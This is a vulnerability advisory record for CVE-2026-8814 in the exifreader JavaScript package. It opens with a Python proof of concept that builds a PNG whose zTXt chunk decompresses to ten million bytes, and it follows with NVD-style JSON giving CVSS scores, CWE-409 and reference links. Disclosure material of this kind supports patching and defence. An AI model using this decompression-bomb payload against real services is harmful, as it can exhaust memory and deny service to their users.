CVE-2026-8814

import zlib import struct def create_malicious_png(filename): # Create a highly compressed payload that expands to 'A' * 10000000 payload = b'A' * 10000000 compressed_payload = zlib.compress(payload, 9) # PNG Signature png_signature = b'\x89PNG\r\n\x1a\n' # IHDR Chunk (minimal 1x1 image) ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0) ihdr_chunk = struct.pack('>I', len(ihdr_data)) + b'IHDR' + ihdr_data + struct.pack('>I', 0x2144DF1C & 0xFFFFFFFF) # CRC # zTXt Chunk (Malicious) keyword = b'Comment\x00' compression_method = b'\x00' # Deflate ztxt_data = keyword + compression_method + compressed_payload # Calculate CRC for zTXt (simplified for PoC, real calculation needed for valid PNG) import binascii crc = binascii.crc32(b'zTXt' + ztxt_data) & 0xFFFFFFFF ztxt_chunk = struct.pack('>I', len(ztxt_data)) + b'zTXt' + ztxt_data + struct.pack('>I', crc) # IDAT Chunk (Empty/minimal) idat_data = zlib.compress(b'\x00') idat_crc = binascii.crc32(b'IDAT' + idat_data) & 0xFFFFFFFF idat_chunk = struct.pack('>I', len(idat_data)) + b'IDAT' + idat_data + struct.pack('>I', idat_crc) # IEND Chunk iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', 0xAE426082) with open(filename, 'wb') as f: f.write(png_signature + ihdr_chunk + ztxt_chunk + idat_chunk + iend_chunk) create_malicious_png('exploit.png')

{"cve": {"id": "CVE-2026-8814", "sourceIdentifier": "[email protected]", "published": "2026-05-19T07:16:30.357", "lastModified": "2026-05-19T07:16:30.357", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Versions of the package exifreader before 4.39.0 are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) due to decompressing PNG zTXt metadata without enforcing a built-in maximum decompressed output size. When asynchronous parsing is enabled, a crafted PNG file containing a highly compressed zTXt chunk can cause ExifReader to materialize a disproportionately large Comment value in memory."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-409"}]}], "references": [{"url": "https://gist.github.com/yuki-matsuhashi/cad1a45d936062438b4ab24613c34c55", "source": "[email protected]"}, {"url": "https://github.com/mattiasw/ExifReader/commit/5f116128adc19f674902f8bf582bfe7dd0a36375", "source": "[email protected]"}, {"url": "https://security.snyk.io/vuln/SNYK-JS-EXIFREADER-16689340", "source": "[email protected]"}]}}